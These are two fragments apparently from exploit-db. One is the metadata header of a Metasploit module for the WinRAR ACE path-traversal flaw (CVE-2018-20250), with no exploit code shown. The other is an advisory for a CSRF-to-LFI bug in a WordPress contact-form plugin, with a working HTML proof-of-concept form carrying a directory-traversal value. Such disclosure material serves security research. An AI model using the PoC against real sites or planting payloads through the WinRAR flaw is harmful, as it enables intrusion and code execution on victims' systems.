super(update_info(info,
      'Name'           => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution',
      'Description'    => %q{
        In WinRAR versions prior to and including 5.61, there is path traversal vulnerability
        when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename
        field is manipulated with specific patterns, the destination (extraction) folder is
        ignored, thus treating the filename as an absolute path. This module will attempt to
        extract a payload to the startup folder of the current user. It is limited such that
        we can only go back one folder. Therefore, for this exploit to work properly, the user
        must extract the supplied RAR file from one folder within the user profile folder
        (e.g. Desktop or Downloads). User restart is required to gain a shell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nadav Grossman', # exploit discovery
          'Imran E. Dawoodjee <imrandawoodjee.infosec@gmail.com>' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2018-20250'],
          ['EDB', '46552'],
          ['BID', '106948'],
          ['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'],
          ['URL', 'https://apidoc.roe.ch/acefile/latest/'],
          ['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'],
        ],
      'Platform'       => 'win',

source : https://www.exploit-db.com/exploits/46756

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# Exploit Title: Contact Form Builder [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/contact-form-builder
# Version: 1.0.67
# Tested on: WordPress 5.1.1

Description
-----------

Plugin implements the following AJAX actions:

- `ContactFormMakerPreview`
- `ContactFormmakerwdcaptcha`
- `nopriv_ContactFormmakerwdcaptcha`
- `CFMShortcode`

All of them call the function `contact_form_maker_ajax`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.
PoC
---

```html
<form method="post"
action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=/../../../../../../index">
    <label>AJAX action:
        <select name="action">
                <option
value="ContactFormMakerPreview">ContactFormMakerPreview</option>
                <option
value="ContactFormmakerwdcaptcha">ContactFormmakerwdcaptcha</option>
                <option
value="nopriv_ContactFormmakerwdcaptcha">nopriv_ContactFormmakerwdcaptcha</option>
                <option value="CFMShortcode">CFMShortcode</option>
        </select>
    </label>
    <button type="submit" value="Submit">Submit</button>
</form>
```
source 
https://www.exploit-db.com/exploits/46734

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